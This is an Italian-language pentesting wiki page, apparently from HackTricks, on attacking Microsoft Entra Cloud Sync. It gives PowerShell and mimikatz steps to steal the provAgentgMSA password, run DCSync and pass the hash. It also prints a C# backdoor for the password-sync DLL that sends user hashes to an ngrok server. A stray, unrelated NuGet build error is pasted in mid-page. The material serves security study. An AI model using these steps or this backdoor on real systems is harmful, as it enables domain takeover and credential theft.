# Az - Cloud Sync

{{#include ../../../banners/hacktricks-training.md}}


## Informazioni di Base

**Cloud Sync** è fondamentalmente il nuovo modo di Azure per **synchronizzare gli utenti da AD in Entra ID**.

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync è una nuova offerta di Microsoft progettata per soddisfare e raggiungere i tuoi obiettivi di identità ibrida per la sincronizzazione di utenti, gruppi e contatti in Microsoft Entra ID. Questo viene realizzato utilizzando l'agente di provisioning cloud di Microsoft Entra invece dell'applicazione Microsoft Entra Connect. Tuttavia, può essere utilizzato insieme a Microsoft Entra Connect Sync.

### Principali Generati

Affinché questo funzioni, alcuni principali vengono creati sia in Entra ID che nella directory On-Premise:

- In Entra ID l'utente `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) viene creato con il ruolo **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).

> [!WARNING]
> Questo ruolo aveva molte autorizzazioni privilegiate e poteva essere utilizzato per [**escalare privilegi anche a global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Tuttavia, Microsoft ha deciso di rimuovere tutti i privilegi di questo ruolo e assegnarne solo uno nuovo **`microsoft.directory/onPremisesSynchronization/standard/read`** che non consente realmente di eseguire alcuna azione privilegiata (come modificare la password o gli attributi di un utente o aggiungere una nuova credenziale a un SP).

- In Entra ID viene anche creata il gruppo **`AAD DC Administrators`** senza membri o proprietari. Questo gruppo è utile se viene utilizzato [`Microsoft Entra Domain Services`](./az-domain-services.md).

- Nell'AD, viene creata la Service Account **`provAgentgMSA`** con un SamAccountName come **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), oppure una personalizzata con [**queste autorizzazioni necessarie**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Di solito viene creata quella predefinita.

> [!WARNING]
> Tra le altre autorizzazioni, la Service Account **`provAgentgMSA`** ha autorizzazioni DCSync, consentendo **a chiunque la comprometta di compromettere l'intera directory**. Per ulteriori informazioni su [DCSync controlla questo](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).

> [!NOTE]
> Per impostazione predefinita, gli utenti di gruppi privilegiati noti come Domain Admins con l'attributo **`adminCount` a 1 non vengono sincronizzati** con Entra ID per motivi di sicurezza. Tuttavia, altri utenti che fanno parte di gruppi privilegiati senza questo attributo o che sono assegnati a privilegi elevati direttamente **possono essere sincronizzati**.

## Sincronizzazione della Password

La sezione è molto simile a quella di:

{{#ref}}
az-connect-sync.md
{{#endref}}

- **La sincronizzazione dell'hash della password** può essere abilitata in modo che gli utenti possano **accedere a Entra ID utilizzando le loro password da AD**. Inoltre, ogni volta che una password viene modificata in AD, verrà aggiornata in Entra ID.
- **La scrittura della password** può essere abilitata, consentendo agli utenti di modificare la propria password in Entra ID sincronizzando automaticamente la loro password nel dominio on-premise. Ma secondo la [documentazione attuale](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), per questo è necessario utilizzare il Connect Agent, quindi dai un'occhiata alla [sezione Az Connect Sync](./az-connect-sync.md) per ulteriori informazioni.
- **Scrittura dei gruppi**: Questa funzionalità consente che le appartenenze ai gruppi da Entra ID vengano sincronizzate nuovamente nell'AD on-premises. Ciò significa che se un utente viene aggiunto a un gruppo in Entra ID, verrà aggiunto anche al corrispondente gruppo in AD.


## Pivoting

### AD --> Entra ID

- Se gli utenti AD vengono sincronizzati da AD a Entra ID, il pivoting da AD a Entra ID è semplice, basta **compromettere la password di un utente o cambiare la password di un utente o creare un nuovo utente e aspettare che venga sincronizzato nella directory di Entra ID (di solito solo pochi minuti)**.

Quindi potresti ad esempio
- Compromettere l'account **`provAgentgMSA`**, eseguire un attacco DCSync, decifrare la password di un utente e poi usarla per accedere a Entra ID.
- Creare semplicemente un nuovo utente nell'AD, aspettare che venga sincronizzato in Entra ID e poi usarlo per accedere a Entra ID.
- Modificare la password di un utente nell'AD, aspettare che venga sincronizzata in Entra ID e poi usarla per accedere a Entra ID.

Per compromettere le credenziali di **`provAgentgMSA`**:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
Ora puoi utilizzare l'hash del gMSA per eseguire un attacco Pass-the-Hash contro Entra ID utilizzando l'account `provAgentgMSA` e mantenere la persistenza potendo eseguire attacchi DCSync contro l'AD.

Per ulteriori informazioni su come compromettere un Active Directory controlla:

{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
{{#endref}}

> [!NOTE]
> Nota che non c'è modo di assegnare ruoli di Azure o EntraID agli utenti sincronizzati in base ai loro attributi, ad esempio nelle configurazioni di Cloud Sync. Tuttavia, per concedere automaticamente permessi agli utenti sincronizzati, alcuni **gruppi Entra ID da AD** potrebbero ricevere permessi in modo che gli utenti sincronizzati all'interno di quei gruppi li ricevano anche, oppure **potrebbero essere utilizzati gruppi dinamici**, quindi controlla sempre le regole dinamiche e i potenziali modi per abusarne:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}

Per quanto riguarda la persistenza, [questo post del blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggerisce che è possibile utilizzare [**dnSpy**](https://github.com/dnSpy/dnSpy) per backdoorare il dll **`Microsoft.Online.Passwordsynchronisation.dll`** situato in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** che viene utilizzato dall'agente Cloud Sync per eseguire la sincronizzazione delle password, facendolo esfiltrare gli hash delle password degli utenti sincronizzati a un server remoto. Gli hash vengono generati all'interno della classe **`PasswordHashGenerator`** e il post del blog suggerisce di aggiungere del codice in modo che la classe appaia così (nota l'uso di `use System.Net` e l'uso di `WebClient` per esfiltrare gli hash delle password):
```csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
```
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
. Please see Error List window for detailed warnings and errors.

### Entra ID --> AD

- Se **Password Writeback** è abilitato, puoi modificare la password di alcuni utenti da Entra ID e se hai accesso alla rete AD, connetterti utilizzando quelle credenziali. Per ulteriori informazioni, controlla la sezione [Az Connect Sync](./az-connect-sync.md) poiché il password writeback è configurato utilizzando quell'agente.

- A questo punto, Cloud Sync consente anche **"Microsoft Entra ID to AD"**, ma dopo troppo tempo ho scoperto che NON PUÒ sincronizzare gli utenti di EntraID con AD e che può solo sincronizzare gli utenti da EntraID che sono stati sincronizzati con l'hash della password e provengono da un dominio che appartiene allo stesso dominio forest del dominio a cui ci stiamo sincronizzando, come puoi leggere in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):

> - Questi gruppi possono contenere solo utenti sincronizzati on-premises e/o gruppi di sicurezza creati in cloud aggiuntivi.
> - Gli account utente on-premises che sono sincronizzati e sono membri di questo gruppo di sicurezza creato in cloud possono provenire dallo stesso dominio o da domini diversi, ma devono tutti appartenere alla stessa foresta.

Quindi la superficie di attacco (e l'utilità) di questo servizio è notevolmente ridotta poiché un attaccante dovrebbe compromettere l'AD iniziale da cui gli utenti vengono sincronizzati per compromettere un utente nell'altro dominio (e entrambi devono apparentemente essere nella stessa foresta).

### Enumeration
```bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```
{{#include ../../../banners/hacktricks-training.md}}
